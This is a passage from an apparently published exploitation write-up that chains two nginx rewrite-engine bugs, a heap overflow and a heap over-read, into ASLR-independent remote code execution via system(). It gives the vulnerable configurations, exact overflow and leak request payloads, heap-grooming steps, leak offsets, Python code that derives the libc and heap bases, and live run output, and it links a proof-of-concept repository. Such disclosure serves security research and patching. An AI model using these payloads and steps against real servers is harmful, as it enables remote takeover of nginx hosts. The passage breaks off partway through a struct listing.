primitive.</p></li></ul><p>Everything below is reproduced live with gdb against the <strong>stock release binary</strong>; the offsets and addresses are from real runs. (Because the release image is stripped, the gdb probes read struct fields by raw byte offset so the layout is identical to the source build, only the symbols are gone.)</p><h2><strong>PoC + config:</strong> <a href="https://github.com/y198nt/Nginx-chain-Rift-Poolslip">Nginx-chain-Rift-Poolslip</a></h2><h2>1. The two bugs (root cause)</h2><p>Both bugs come from the same nginx quirk: the rewrite-module <em>script engine</em> has an <code>is_args</code> flag, and that flag is computed in one pass but consumed in another.</p><p>When nginx compiles <code>rewrite</code>/<code>set</code> value scripts it runs them <strong>twice</strong>:</p><ol><li><p>a <strong>length pass</strong> on a <em>fresh, local</em> engine, to size the destination buffer, and</p></li><li><p>a <strong>copy pass</strong> on the <em>shared request</em> engine, to actually write the bytes.</p></li></ol><p><code>ngx_escape_uri()</code> is only invoked when <code>e-&gt;is_args == 1</code>. If the two passes disagree on <code>is_args</code>, the length pass under-counts (no escaping) while the copy pass over-writes (escaping <code>+</code> &#8594; <code>%2B</code>, etc.). That mismatch is the root of both bugs.</p><h3>1.1 Rift: <code>is_args</code> heap overflow (the write primitive)</h3><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">location ~ ^/api/v1/(.*)$ {
    rewrite ^/api/v1/(.*)$ /internal/$1?api_version=2;   # replacement has '?'
    set $resource $1;                                    # copies the capture
}</code></pre></div><p>The <code>?</code> in the rewrite replacement makes the engine run <code>ngx_http_script_start_args_code</code>, which sets <code>e-&gt;is_args = 1</code> on the <strong>shared</strong> engine and it is never cleared. The following <code>set $resource $1</code> then:</p><ul><li><p><strong>length pass</strong> (fresh engine, <code>is_args = 0</code>): counts <code>$1</code> with <strong>no</strong> escape budget;</p></li><li><p><strong>copy pass</strong> (shared engine, <code>is_args = 1</code>): re-escapes <code>$1</code> with <code>ngx_escape_uri</code>.</p></li></ul><p>So if <code>$1</code> contains <em>N</em> bytes that need escaping, the copy writes <code>2&#183;N</code> more bytes than were allocated &#8594; a <strong>forward heap overflow</strong> out of the script buffer.</p><p>Two important properties of the write primitive:</p><ul><li><p>It writes <strong>only URL-safe bytes</strong> verbatim. Any byte that needs escaping becomes <code>%XX</code> (3 bytes), which shifts everything after it, so to land a precise value at a precise offset, <strong>every byte must be URL-safe</strong> (&#8776; 79 of 256 byte values).</p></li><li><p>The overflow length is <code>2 &#215; (#escape-needing input bytes)</code>; padding (<code>A</code>) bytes don&#8217;t inflate, so <code>N</code> <code>A</code>s + <code>K</code> <code>+</code>s writes <code>N + 3K</code> bytes and overflows by <code>2K</code>.</p></li></ul><h3>1.2 PoolSlip: args-inflation over-read (the leak primitive)</h3><pre><code><code>location ~ ^/search/(.*)$ { rewrite ^/search/((.*))$ /lookup?$1$2 last; }</code></code></pre><p>Same <code>is_args</code> mismatch, but applied to <code>r-&gt;args</code> instead of a <code>set</code> variable. The copy pass overflows the args buffer and <code>r-&gt;args.len</code> is set from the <strong>post-overflow</strong> engine position, i.e. <em>past</em> the allocation. Anything that later reflects <code>$args</code> then reads adjacent heap memory. In this config the reflection is the degraded search page:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">location /lookup { proxy_pass http://search_index; proxy_intercept_errors on; error_page 502 504 = @search_unavailable; }
location @search_unavailable { return 503 "Search temporarily unavailable. Query: $args\n"; }</code></pre></div><p>(<code>search_index</code> is an offline Elasticsearch sidecar, so every <code>/search</code> hit degrades to that page, which is exactly where the over-read surfaces. The reflection has to be <strong>nginx-level and binary-safe</strong>: heap pointers contain <code>\x00</code>/control bytes, so proxying <code>$args</code> to a real backend just 502s the upstream request &#8212; verified.)</p><div><hr></div><h2>2. Why chain them (and not just use rift)</h2><p>rift on its own is a clean write primitive, <strong>but it has no info-leak</strong>, and the public PoC (<a href="https://github.com/DepthFirstDisclosures/Nginx-Rift">DepthFirstDisclosures/Nginx-Rift</a>) simply <strong>hardcodes</strong> <code>LIBC_BASE</code> and <code>HEAP_BASE</code>:</p><pre><code><code>HEAP_BASE  = 0x555555659000
LIBC_BASE  = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70
</code></code></pre><p>That only works with ASLR disabled (or against a known image). I didn&#8217;t want a &#8220;works on my machine&#8221; exploit, so I bolted <strong>PoolSlip on as the leak primitive</strong>: it discloses live libc and heap pointers, I derive the bases from them, and the rift write targets are then computed at runtime. The result is <strong>ASLR-independent</strong> with nothing hardcoded.</p><p>The two bugs compose cleanly because they&#8217;re the <em>same</em> engine quirk pointed at two different sinks (a <code>set</code> variable vs <code>r-&gt;args</code>), so one config naturally exposes both.</p><div><hr></div><h2>3. The exploitation idea</h2><h3>3.1 The problem: a full heap write is almost never URL-safe</h3><p>The obvious rift exploit is the PoC&#8217;s: spray a fake <code>ngx_pool_cleanup_t{handler=system, data=cmd}</code> onto the heap and overwrite a pool&#8217;s <code>cleanup</code> pointer with the spray address, so that <code>ngx_destroy_pool</code> calls <code>cleanup walk</code> and finally calls <code>system(cmd)</code>.</p><p>But the cleanup pointer is a <em>full 48-bit heap address</em>, and the rift can only write <strong>URL-safe bytes</strong>. Under ASLR the high bytes of a heap address are random, so a full address is almost never composed entirely of writable bytes.</p><p><strong>Proof.</strong> The set of byte values the rift can place at a target is exactly nginx&#8217;s URI-escape bitmap (bytes that are <em>not</em> percent-encoded). Reproducing it from the source bitmap gives 79 of 256 values: <code>P(one random byte is URL-safe) = 79/256 &#8776; 0.31</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">|SAFE| = 79 / 256   P(one random byte URL-safe) = 0.3086
safe bytes: 21 24 27 28 29 2a 2c 2d 2e 2f 30..3a 3d 40..5b 5d 5f 61..7a 7e   (i.e. mostly
            alnum + a few punctuation; NOT 0x00, 0x5c '\', 0x5e '^', 0x60 '`', high bytes, &#8230;)</code></pre></div><p>A full-address overwrite requires <strong>all 6 low bytes</strong> of the target address to be in that set. I sampled 20 real ASLR heap bases by restarting the worker, measured the actual entropy, and Monte-Carlo&#8217;d the full-address target over it (using that <code>SAFE</code> set and 30 candidate spray landings):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">
real bases sampled: 20   entropy mask = 0x3ffffffff000   (34 varying bits)
high byte5 observed: 0x58..0x65

REAL bases: mean URL-safe candidates / base = 0.000 ; bases with &gt;=1 = 0/20   not one worked

MONTE-CARLO over measured ASLR entropy (2,000,000 samples):
  single fixed target writable            &#8776; 0.91 %
  P(&gt;=1 writable of all 30 spray landings) &#8776; 3.13 %   absolute per-run ceiling
</code></pre></div><p>So a single chosen cleanup target is writable only <strong>&#8776;0.9 %</strong> of the time, and even trying <em>every</em> spray landing the per-run ceiling is <strong>&#8776;3 %</strong> and in 20 real restarts, <strong>0</strong> had a usable landing. End-to-end, a full-address overwrite fires reliably ASLR-<strong>off</strong> but only <strong>~1 %</strong> under real ASLR, matching the single-target bound (further eroded by spray-landing precision). The high bytes simply can&#8217;t be controlled, so the approach is a dead end under ASLR.</p><h3>3.2 The fix: a 2-byte <em>partial</em> overwrite of an existing heap pointer</h3><p><code>limit_conn</code> (<code>limit_conn perip 100;</code>) registers an <code>ngx_http_limit_conn_cleanup</code> on <strong>every</strong> request&#8217;s <code>r-&gt;pool</code>. That means <code>r-&gt;pool-&gt;cleanup</code> is <em>already</em> a valid heap pointer pointing into the pool&#8217;s own memory:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_9qc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_9qc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png 424w, https://substackcdn.com/image/fetch/$s_!_9qc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png 848w, https://substackcdn.com/image/fetch/$s_!_9qc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png 1272w, https://substackcdn.com/image/fetch/$s_!_9qc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_9qc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png" width="1456" height="728" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:728,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1376499,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200784619?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_9qc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png 424w, https://substackcdn.com/image/fetch/$s_!_9qc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png 848w, https://substackcdn.com/image/fetch/$s_!_9qc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png 1272w, https://substackcdn.com/image/fetch/$s_!_9qc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c70d09f-a9b3-4831-9550-6791322209b9_1774x887.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>So instead of writing a full address, we overwrite <strong>only the low 2 bytes</strong> of that pointer with a URL-safe value <code>YYYY</code>. The ASLR-random <strong>high bytes ride along untouched</strong> so the redirected pointer stays in the same 64 KB block, no random byte is ever written =&gt; <strong>ASLR-independent</strong>.</p><p>We point it at a sprayed fake <code>ngx_pool_cleanup_t{handler=system, data=cmd_ptr, next=0}</code>.</p><h3>3.3 Putting the records where the pointer can reach them</h3><p>The redirect can only move <code>cleanup</code> within its own 64 KB block (we control the low 16 bits). So the block must be full of fake-struct records at URL-safe offsets. The trick: make the <strong>victim itself</strong> a held <code>POST /api/upload</code> carrying a <strong>tiled</strong> body of <code>{system, cmd_ptr, 0}</code> records (24-byte stride). Its body lives in its own request pool, so the cleanup pointer&#8217;s block is densely full of records. A handful of early sprays and post-victim sprays tile the neighbouring blocks too, so for <em>any</em> ASLR base several record runs straddle the pointer&#8217;s block. <code>pick_yyyy()</code> scans the measured runs and picks an in-block, URL-safe record.</p><p><code>cmd_ptr</code> points at a &#8220;command holder&#8221; spray (a normal <code>POST /api/upload</code> whose body is the shell command), at a leak-derived address.</p><h3>3.4 The full flow (<code>attempt()</code> in <code>exp_official.py</code>)</h3><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">0. warm-up: ~40 &#215; GET /search/+&#215;300   (churn the heap so the off-1729 libc-cluster ptr settles)
1. leak:    GET /search/&lt;+ &#215;350&gt;      &#8594; derive libc_base, heap_base, &amp;system
2. sprays:  8 &#215; held POST /api/upload  (#0 = command holder, rest = tiled records)
3. groom:   open 16 bare TCP conns, then close them just before the victim connects
            (frees small conn-pool holes so the victim's conn pool is reused there, and the
             victim's *request* pool lands right after the rift request's block)
4. rift a:  GET /api/v1/&lt;A&#215;9 + (+)&#215;1005 + YYYY&gt;   (held by the /internal proxy &#8594; backend latency)
5. victim v: held POST /api/upload with the tiled body  (gets the limit_conn cleanup)
6. + 24 post-victim held sprays (more record runs above the cleanup pointer)
7. fire:    finish a's request &#8594; the `set` overflows &#8594; writes YYYY at v-&gt;pool-&gt;cleanup[+0x40..+0x41]
8. close v &#8594; ngx_http_free_request &#8594; ngx_destroy_pool(v-&gt;pool) &#8594; cleanup walk &#8594; system(cmd)</code></pre></div><p><code>a</code> stays alive (parked on the upstream) so its own pool isn&#8217;t freed before <code>v</code> fires; the destroy order matters, see &#167;5.5.</p><div><hr></div><h2>4. The Info Leak</h2><p>The release binary is stripped, so we read the script engine by raw offset (<code>e = $rdi</code> at function entry; <code>e-&gt;is_args</code> is bit 3 of the dword at <code>+0x40</code>, <code>e-&gt;buf.data</code> (<code>$buf</code>) is at <code>+0x20</code>). The PoolSlip request runs the copy pass with <code>is_args</code> already set, so it over-writes past the args buffer and <code>r-&gt;args.len</code> is taken from the <strong>post-overflow</strong> engine position. The degraded <code>/search</code> page then reflects <code>$args</code> <em>past</em> the buffer into adjacent heap; for a ~700-byte query the 503 body comes back as <strong>2100 bytes</strong> of raw heap.</p><p>After a short warm-up (~40 <code>/search</code> hits churn the heap), two pointers settle at <strong>stable offsets</strong> in that over-read. A <strong>heap pointer</strong> sits at <code>$args[1489]</code> (<code>x/gx $buf+0x5d8</code> in gdb), giving the heap base once cross-checked against <code>vmmap</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fdnd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fdnd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png 424w, https://substackcdn.com/image/fetch/$s_!fdnd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png 848w, https://substackcdn.com/image/fetch/$s_!fdnd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png 1272w, https://substackcdn.com/image/fetch/$s_!fdnd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fdnd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png" width="927" height="550" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:550,&quot;width&quot;:927,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:121972,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200784619?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fdnd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png 424w, https://substackcdn.com/image/fetch/$s_!fdnd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png 848w, https://substackcdn.com/image/fetch/$s_!fdnd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png 1272w, https://substackcdn.com/image/fetch/$s_!fdnd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22670bbc-07d6-4963-b341-0beaaa68a20d_927x550.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>For <strong>libc</strong>, the Ubuntu trick (a big POST body that glibc mmaps just below libc) <strong>fails on Debian</strong> because large allocations land in the low brk/PIE cluster, not below libc. Instead, a pointer into the <strong>libpcre/regex</strong> region, which <code>ld</code> maps at a fixed <code>0xb0ad08</code> below libc, settles at <code>$args[1729]</code> (<code>x/gx $buf+0x6c8</code>), again confirmed against <code>vmmap</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!p5o1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!p5o1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png 424w, https://substackcdn.com/image/fetch/$s_!p5o1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png 848w, https://substackcdn.com/image/fetch/$s_!p5o1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png 1272w, https://substackcdn.com/image/fetch/$s_!p5o1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!p5o1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png" width="922" height="931" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:931,&quot;width&quot;:922,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:217684,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200784619?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!p5o1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png 424w, https://substackcdn.com/image/fetch/$s_!p5o1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png 848w, https://substackcdn.com/image/fetch/$s_!p5o1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png 1272w, https://substackcdn.com/image/fetch/$s_!p5o1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa077fbaf-4547-48d6-87b4-4091a38e0243_922x931.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>So <code>libc_base = $args[1729] + 0xb0ad08</code> and <code>heap_base = $args[1489] &#8722; 0x28610</code>, both confirmed against the live mappings. Nothing is hardcoded; <code>request_pool_size</code> is the nginx default (no allocator tuning in the config). </p><p><code>exp_official.py</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">WARMUP = 40   # ~40x GET /search/+&#215;300 first, so the off-1729 libc-cluster pointer settles
def derive(args):
    libc = (int.from_bytes(args[1729:1737], "little") + 0xb0ad08) &amp; ~0xfff   # &amp; ~0xfff: page-align
    heap =  int.from_bytes(args[1489:1497], "little") - 0x28610
    return libc, heap
# system = libc + 0x53110</code></pre></div><p>Live run (the addresses differ every run so they&#8217;re all derived from the leak, nothing hardcoded):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">[*] heap_base=0x5a043fe2f000
[*] libc=0x7d6b8228d000 
[*] system=0x7d6b822e0110 (system = libc + 0x53110)
</code></pre></div><div><hr></div><h2>5. The Write primitive</h2><h3>5.1 The victim&#8217;s cleanup pointer (what we corrupt)</h3><p>The victim is a held <code>POST /api/upload</code>. <code>limit_conn</code> has put a cleanup on its <code>r-&gt;pool</code>, so <code>pool-&gt;cleanup</code> (at <code>pool+0x40</code>) is <em>already</em> a live heap pointer into the pool&#8217;s own block.</p><p>The two structures involved (from <code>src/core/ngx_palloc.h</code>), with byte offsets so the raw dump below lines up:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">typedef struct {                          //                           offset in ngx_pool_t
    u_char               *last;           //   d.last                   +0x00
    u_char               *end;            //   d.end                    +0x08
    ngx_pool_t           *next;           //   d.next                   +0x10
    ngx_uint_t            failed;         //   d.failed                 +0x18
} ngx_pool_data_t;

struct ngx_pool_s {                       // == ngx_pool_t
    ngx_pool_data_t       d;              //                            +0x00
    size_t                max;            //                            +0x20
    ngx_pool_t           *current;        //                            +0x28
    ngx_chain_t          *chain;          //                            +0x30
